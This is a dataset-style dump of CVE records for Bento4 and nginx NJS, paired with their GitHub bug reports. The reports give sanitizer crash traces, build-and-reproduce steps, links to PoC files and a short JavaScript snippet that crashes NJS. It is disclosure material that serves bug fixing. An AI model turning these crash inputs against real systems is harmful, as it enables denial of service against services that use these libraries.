0x0c087fff8410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8420: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8440: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==32056==ABORTING
```
### PoC
[mp42ts_poc.zip](https://github.com/axiomatic-systems/Bento4/files/9744391/mp42ts_poc.zip)
### Verification Steps
```
git clone https://github.com/axiomatic-systems/Bento4
cd Bento4
mkdir check_build && cd check_build
cmake ../ -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-fsanitize=address" -DCMAKE_CXX_FLAGS="-fsanitize=address" -DCMAKE_BUILD_TYPE=Release
make -j
./mp42ts poc /dev/null
```
### Enviroment
- Ubuntu 18.04
- clang 10.01
- Bento4 master branch [4df7274e](https://github.com/axiomatic-systems/Bento4/commit/4df7274e5e57e6219ca1e5dbdcb99ad1f7abb743) commit and version 1.6.0-639
|
heap-use-after-free bug in mp42ts
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/793/comments
| 0 |
2022-10-10T08:51:58Z
|
2023-05-29T02:51:21Z
|
https://github.com/axiomatic-systems/Bento4/issues/793
| 1,402,818,781 | 793 |
CVE-2022-3667
|
2022-10-26T19:15:24.427
|
A vulnerability, which was classified as critical, was found in Axiomatic Bento4. This affects the function AP4_MemoryByteStream::WritePartial of the file Ap4ByteStream.cpp of the component mp42aac. The manipulation leads to heap-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-212007.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.4,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/17ssDP/fuzzer_crashes/blob/main/Bento4/mp42aac-hbo-01"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/789"
},
{
"source": "[email protected]",
"tags": [
"Permissions Required",
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.212007"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/789
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi, developers of Bento4:
Thanks for your fix of issue #751
In the test of the binary mp42aac instrumented with ASAN. There are some inputs causing heap-buffer-overflow. Here is the ASAN mode output. This issue may be because of an incomplete fix of #751.
=================================================================
==8242==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000002798 at pc 0x7f30ba3a2964 bp 0x7fff5a52d110 sp 0x7fff5a52c8b8
WRITE of size 4294967288 at 0x619000002798 thread T0
#0 0x7f30ba3a2963 in __asan_memcpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c963)
#1 0x409c09 in AP4_MemoryByteStream::WritePartial(void const*, unsigned int, unsigned int&) /root/Bento4/Source/C++/Core/Ap4ByteStream.cpp:785
#2 0x40da09 in AP4_ByteStream::Write(void const*, unsigned int) /root/Bento4/Source/C++/Core/Ap4ByteStream.cpp:77
#3 0x65a86f in AP4_SgpdAtom::WriteFields(AP4_ByteStream&) /root/Bento4/Source/C++/Core/Ap4SgpdAtom.cpp:144
#4 0x4e99bc in AP4_Atom::Write(AP4_ByteStream&) /root/Bento4/Source/C++/Core/Ap4Atom.cpp:229
#5 0x4e99bc in AP4_Atom::Clone() /root/Bento4/Source/C++/Core/Ap4Atom.cpp:316
#6 0x574024 in AP4_ContainerAtom::Clone() /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:172
#7 0x574024 in AP4_ContainerAtom::Clone() /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:172
#8 0x446e72 in AP4_SampleDescription::AP4_SampleDescription(AP4_SampleDescription::Type, unsigned int, AP4_AtomParent*) /root/Bento4/Source/C++/Core/Ap4SampleDescription.cpp:138
#9 0x460bf8 in AP4_GenericAudioSampleDescription::AP4_GenericAudioSampleDescription(unsigned int, unsigned int, unsigned short, unsigned short, AP4_AtomParent*) /root/Bento4/Source/C++/Core/Ap4SampleDescription.h:259
#10 0x460bf8 in AP4_AudioSampleEntry::ToSampleDescription() /root/Bento4/Source/C++/Core/Ap4SampleEntry.cpp:630
#11 0x4899a4 in AP4_StsdAtom::GetSampleDescription(unsigned int) /root/Bento4/Source/C++/Core/Ap4StsdAtom.cpp:181
#12 0x404135 in main /root/Bento4/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:268
#13 0x7f30b966783f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#14 0x408128 in _start (/root/Bento4/mp42aac+0x408128)
0x619000002798 is located 0 bytes to the right of 1048-byte region [0x619000002380,0x619000002798)
allocated by thread T0 here:
#0 0x7f30ba3af712 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99712)
#1 0x4151ce in AP4_DataBuffer::ReallocateBuffer(unsigned int) /root/Bento4/Source/C++/Core/Ap4DataBuffer.cpp:210
#2 0x4151ce in AP4_DataBuffer::SetBufferSize(unsigned int) /root/Bento4/Source/C++/Core/Ap4DataBuffer.cpp:136
#3 0x4151ce in AP4_DataBuffer::Reserve(unsigned int) /root/Bento4/Source/C++/Core/Ap4DataBuffer.cpp:107
SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 __asan_memcpy
Shadow bytes around the buggy address:
0x0c327fff84a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff84b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff84c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff84d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff84e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c327fff84f0: 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==8242==ABORTING
### Crash input
https://github.com/17ssDP/fuzzer_crashes/blob/main/Bento4/mp42aac-hbo-01
### Validation steps
git clone https://github.com/axiomatic-systems/Bento4
cd Bento4/
mkdir check_build && cd check_build
cmake ../ -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-fsanitize=address" -DCMAKE_CXX_FLAGS="-fsanitize=address" -DCMAKE_BUILD_TYPE=Release
make -j
./mp42aac mp42aac-hbo-01 /dev/null
### Environment
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
|
Heap-buffer-overflow with ASAN in mp42aac
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/789/comments
| 0 |
2022-10-04T06:45:46Z
|
2023-05-29T02:51:19Z
|
https://github.com/axiomatic-systems/Bento4/issues/789
| 1,395,747,445 | 789 |
CVE-2022-3668
|
2022-10-26T19:15:25.300
|
A vulnerability has been found in Axiomatic Bento4 and classified as problematic. This vulnerability affects the function AP4_AtomFactory::CreateAtomFromStream of the component mp4edit. The manipulation leads to memory leak. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-212008.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/files/9640968/Bug_1_POC.zip"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/776"
},
{
"source": "[email protected]",
"tags": [
"Permissions Required",
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.212008"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/776
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
# Summary
Hi, developers of Bento4:
I tested the binary mp4edit and mp42hevc with my fuzzer, and three crashes incurred, including two memory-leaks from mp4edit and a heap-overflow from mp42hevc. And I think Bug1 and Bug2 are different. The following is the details.
# Bug1
Detected memory leaks in mp4edit.
```
root@25467sd2gsg311:/fuzz-mp4edit/mp4edit# ./mp4edit poc_mp4edit_111062493 /dev/null
WARNING: atom serialized to fewer bytes than declared size
WARNING: atom serialized to fewer bytes than declared size
=================================================================
==1561403==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 88 byte(s) in 1 object(s) allocated from:
#0 0x8eaf60 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fb56f9ad297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x45f83f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x45f83f)
#3 0x55da45 in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x55da45)
#4 0x413a42 in main (/fuzz-mp4edit/mp4edit/mp4edit+0x413a42)
#5 0x7fb56f332c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: 88 byte(s) leaked in 1 allocation(s).
```
# Bug2
Another memory-leak-bug in mp4edit.
```
root@25467sd2gsg311:/fuzz-mp4edit/mp4edit# ./mp4edit ../out/crashes/poc_mp4edit_285234531 /dev/null
=================================================================
==2508445==ERROR: LeakSanitizer: detected memory leaks
Indirect leak of 3380 byte(s) in 6 object(s) allocated from:
#0 0x8eaf60 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fe0fef0e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x46ae44 in AP4_AvccAtom::Create(unsigned int, AP4_ByteStream&) (/fuzz-mp4edit/mp4edit/mp4edit+0x46ae44)
#3 0x45540f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x45540f)
#4 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#5 0x48de17 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4edit/mp4edit/mp4edit+0x48de17)
#6 0x5d7069 in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x5d7069)
#7 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#8 0x62020e in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x62020e)
#9 0x61f694 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x61f694)
#10 0x4546d3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4546d3)
#11 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#12 0x48de17 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4edit/mp4edit/mp4edit+0x48de17)
#13 0x48d616 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x48d616)
#14 0x45cb77 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x45cb77)
#15 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#16 0x45f83f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x45f83f)
#17 0x55da45 in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x55da45)
#18 0x413a42 in main (/fuzz-mp4edit/mp4edit/mp4edit+0x413a42)
#19 0x7fe0fe893c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
…… ……
Indirect leak of 1 byte(s) in 1 object(s) allocated from:
#0 0x8eaf60 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fe0fef0e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x5d6bbf in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x5d6bbf)
#3 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#4 0x62020e in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x62020e)
#5 0x61f694 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x61f694)
#6 0x4546d3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4546d3)
#7 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#8 0x48de17 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4edit/mp4edit/mp4edit+0x48de17)
#9 0x48d616 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x48d616)
#10 0x45cb77 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x45cb77)
#11 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#12 0x45f83f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x45f83f)
#13 0x55da45 in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x55da45)
#14 0x413a42 in main (/fuzz-mp4edit/mp4edit/mp4edit+0x413a42)
#15 0x7fe0fe893c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: 6486 byte(s) leaked in 58 allocation(s).
```
# Bug3
Heap-buffer-overflow on address 0x6020000002d4 in mp42hevc.
```
root@2e47aa8b3277:/# ./Bento4/cmakebuild/mp42hevc POC_mp42hevc_8055240 /dev/null
Video Track:
duration: 200 ms
sample count: 6
=================================================================
==2354250==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000002d4 at pc 0x0000004fb753 bp 0x7fffdc3cf910 sp 0x7fffdc3cf908
READ of size 1 at 0x6020000002d4 thread T0
#0 0x4fb752 in WriteSample(AP4_DataBuffer const&, AP4_DataBuffer&, unsigned int, AP4_ByteStream*) (/Bento4/cmakebuild/mp42hevc+0x4fb752)
#1 0x4f9a2d in main (/Bento4/cmakebuild/mp42hevc+0x4f9a2d)
#2 0x7f79552d9c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#3 0x41d999 in _start (/Bento4/cmakebuild/mp42hevc+0x41d999)
0x6020000002d4 is located 0 bytes to the right of 4-byte region [0x6020000002d0,0x6020000002d4)
allocated by thread T0 here:
#0 0x4f5c98 in operator new[](unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:102
#1 0x501bd8 in AP4_DataBuffer::SetDataSize(unsigned int) (/Bento4/cmakebuild/mp42hevc+0x501bd8)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/Bento4/cmakebuild/mp42hevc+0x4fb752) in WriteSample(AP4_DataBuffer const&, AP4_DataBuffer&, unsigned int, AP4_ByteStream*)
Shadow bytes around the buggy address:
0x0c047fff8000: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa fd fd
0x0c047fff8010: fa fa 04 fa fa fa fd fd fa fa 00 05 fa fa 01 fa
0x0c047fff8020: fa fa fd fa fa fa fd fa fa fa 06 fa fa fa 00 fa
0x0c047fff8030: fa fa fd fa fa fa 04 fa fa fa fd fd fa fa fd fa
0x0c047fff8040: fa fa 01 fa fa fa fd fd fa fa fd fa fa fa fd fa
=>0x0c047fff8050: fa fa 06 fa fa fa 01 fa fa fa[04]fa fa fa fd fa
0x0c047fff8060: fa fa fd fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2354250==ABORTING
```
# POC
[Bug_1_POC.zip](https://github.com/axiomatic-systems/Bento4/files/9640968/Bug_1_POC.zip)
[Bug_2_POC.zip](https://github.com/axiomatic-systems/Bento4/files/9675042/Bug_2_POC.zip)
[Bug_3_POC.zip](https://github.com/axiomatic-systems/Bento4/files/9675049/Bug_3_POC.zip)
# Environment
Ubuntu 18.04.6 LTS (docker)
clang 12.0.1
clang++ 12.0.1
Bento4 master branch([5b7cc25](https://github.com/axiomatic-systems/Bento4/commit/5b7cc2500d514717a64675fcf631939494c074ce)) && Bento4 latest release version([1.6.0-639](https://www.bok.net/Bento4/binaries/Bento4-SDK-1-6-0-639.x86_64-unknown-linux.zip))
# Credit
Xudong Cao ([NCNIPC of China](http://www.nipc.org.cn/))
Yuhang Huang ([NCNIPC of China](http://www.nipc.org.cn/))
Han Zheng ([NCNIPC of China](http://www.nipc.org.cn/), [Hexhive](http://hexhive.epfl.ch/))
Thank you for your time!
|
Memory-leak and heap-overflow bugs in Bento4
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/776/comments
| 0 |
2022-09-25T14:31:41Z
|
2023-05-29T02:51:14Z
|
https://github.com/axiomatic-systems/Bento4/issues/776
| 1,385,048,849 | 776 |
CVE-2022-43284
|
2022-10-28T21:15:10.083
|
Nginx NJS v0.7.2 to v0.7.4 was discovered to contain a segmentation violation via njs_scope_valid_value at njs_scope.h. NOTE: the vendor disputes the significance of this report because NJS does not operate on untrusted input.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/nginx/njs/issues/470"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/nginx/njs/issues/529"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:f5:njs:*:*:*:*:*:*:*:*",
"matchCriteriaId": "96DDAE5D-3253-48C1-8F20-270A3DEFA2F9",
"versionEndExcluding": null,
"versionEndIncluding": "0.7.4",
"versionStartExcluding": null,
"versionStartIncluding": "0.7.2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/nginx/njs/issues/470
|
[
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"nginx",
"njs"
] |
### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : 7bd570b39297d3d91902c93a624c89b08be7a6fe
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function main() {
function a0(a1,a2) {
a0 = a1;
}
a0();
a0();
}
main();
```
### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2064564==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000004e36b5 bp 0x7ffd26e5c130 sp 0x7ffd26e5b920 T0)
==2064564==The signal is caused by a READ memory access.
==2064564==Hint: address points to the zero page.
#0 0x4e36b5 in njs_scope_valid_value /home/q1iq/Documents/origin/njs/src/njs_scope.h:85:10
#1 0x4e36b5 in njs_vmcode_function_copy /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:1223:14
#2 0x4e36b5 in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:727:23
#3 0x53b43a in njs_function_lambda_call /home/q1iq/Documents/origin/njs/src/njs_function.c:703:11
#4 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#5 0x53b43a in njs_function_lambda_call /home/q1iq/Documents/origin/njs/src/njs_function.c:703:11
#6 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#7 0x4deb7b in njs_vm_start /home/q1iq/Documents/origin/njs/src/njs_vm.c:493:11
#8 0x4c8099 in njs_process_script /home/q1iq/Documents/origin/njs/src/njs_shell.c:903:19
#9 0x4c7484 in njs_process_file /home/q1iq/Documents/origin/njs/src/njs_shell.c:632:11
#10 0x4c7484 in main /home/q1iq/Documents/origin/njs/src/njs_shell.c:316:15
#11 0x7f135ab960b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41dabd in _start (/home/q1iq/Documents/origin/njs/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs/src/njs_scope.h:85:10 in njs_scope_valid_value
==2064564==ABORTING
```
### Credit
Q1IQ(@Q1IQ)
|
SEGV njs_scope.h:85:10 in njs_scope_valid_value
|
https://api.github.com/repos/nginx/njs/issues/470/comments
| 0 |
2022-02-15T09:24:24Z
|
2022-06-02T04:56:07Z
|
https://github.com/nginx/njs/issues/470
| 1,138,408,738 | 470 |
CVE-2022-43284
|
2022-10-28T21:15:10.083
|
Nginx NJS v0.7.2 to v0.7.4 was discovered to contain a segmentation violation via njs_scope_valid_value at njs_scope.h. NOTE: the vendor disputes the significance of this report because NJS does not operate on untrusted input.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
